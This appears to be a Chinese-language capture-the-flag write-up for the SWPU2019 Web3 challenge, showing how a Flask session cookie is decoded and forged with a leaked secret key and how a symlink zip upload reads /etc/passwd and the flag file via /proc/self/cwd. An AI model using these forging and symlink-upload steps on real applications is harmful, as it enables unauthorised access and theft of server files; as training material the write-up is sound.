[SWPU2019]Web3
F12发现可疑session:
用一些解密session的脚本运行:(flask-unsign(无需密钥),flask_session_cookie_manager(需要密钥))
得到:
1
| {'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}
|
怀疑是id的原因,不能upload(可以怀疑是linux的uid,将其改成1)
1
| {'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
|
ctrl+u发现访问不存在的目录有东西,访问后有个base64解码
1
| secretkey:keyqqqwwweee!@#$%^&*
|
加密:
1 2
| python flask_session_cookie_manager3.py encode -s "keyqqqwwweee!@#$%^&*" -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'usern ame': 'admin'}"
|
注意:必须是双引号
1
| .eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Zw4qow.vmpZTSGoPFjEWa3pCDPZiEykuks
|
修改后源代码里面有源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| @app.route('/upload',methods=['GET','POST']) def upload(): if session['id'] != b'1': return render_template_string(temp) if request.method=='POST': m = hashlib.md5() name = session['password'] name = name+'qweqweqwe' name = name.encode(encoding='utf-8') m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8') n.update(ip) md5_ip = n.hexdigest() f=request.files['file'] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/" path_base = basepath+'/upload/'+md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.')[-1]: return 'zip only allowed' if not os.path.exists(path_base): try: os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try: os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try: f.save(pathname) except Exception as e: return 'error' try: cmd = "unzip -n -d "+path+" "+ pathname if cmd.find('|') != -1 or cmd.find(';') != -1: waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r') unzip_filename = unzip_file.namelist()[0] if session['is_login'] != True: return 'not login' try: if unzip_filename.find('/') != -1: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open(path+unzip_filename, "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html')
@app.route('/showflag') def showflag(): if True == False: image = open(os.path.join('./flag/flag.jpg'), "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp else: return "can't give you"
|
定义两个路由,上传的那个路由就是上传一个压缩的图片,服务器进行解压再显示图片,我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下
构造payload
ln -s是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录
1 2
| ln -s /proc/self/cwd/flag/flag.jpg test zip -ry test.zip test
|
将该文件上传获取flag:
Author:
odiws
Permalink:
http://odiws.github.io/2024/10/15/SWPU2019-Web3/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?